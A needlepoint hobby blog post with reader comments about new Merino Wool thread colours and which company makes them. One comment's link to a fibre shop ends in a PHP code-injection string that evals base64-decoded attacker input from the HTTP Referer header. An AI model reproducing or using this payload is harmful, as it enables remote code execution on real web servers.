Because I'm a threadaholic of the worst kind, I love reading about new threads and new colors. So here are some thread reviews and news from the Blog-o-sphere for my fellow thread lovers. First, here are the new colors of Merino Wool. I wish I knew the manufacturer of this line but I don't and Google failed me. Anyone know?
http://ridgewoodneedlepoint.blogspot.com/2011/04/new-merino-wool-colors.html
UPDATE: Looks like the Merino Wool that Ridgewood was talking about is from Vineyards Silk. Several manufacturers have a thread called Merino Wool and I wasn't sure which one it was.
http://ridgewoodneedlepoint.blogspot.com/2011/05/vineyard-merino-wool.html
Curious about the Chinese silk you see advertised on eBay? Mary Corbet talks about the skeins she got with a kit from the Suzhou Embroidery people.
http://www.needlenthread.com/2011/04/thread-talk-chinese-silk.html
Written by Jane/Chilly Hollow Blogging at http://chillyhollownp.blogspot.com and at http://chstitchguides.blogspot.com
9 comments:
The merino wool is from Wiltex threads
The wool is from Wiltex threads.
I "think" merino wool is a Planet Earth fiber. If it's the same one, it's wonderful to stitch with.
Sky, I think you are right. Thank you VERY much!
http://www.planetearthfiber.com/blog/2011/04/27/planet-earth-fiber/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%
You are also right, Elaine. Two fibers with a very similar name!
http://www.vineyardsilk.com/
Thanks, Elaine. By the way, it the link to Planet Earth Fiber doesn't work, try this one.
http://www.planetearthfiber.com/blog/
Hi Jane, By Looking at the tag, I'd say that's definitely Merino Wool by Wiltex Threads Vineyard Silk...we can always get her to say so! Theresa
Jane, it looks like Vineyard Merino, my absolute favorite for belts.
I think vineyard silk and merino wool are the generic names for these threads. planet earth and wiltex both distribute these threads under their company names. I vaguely remember at the show someone else was also was distributing their version.
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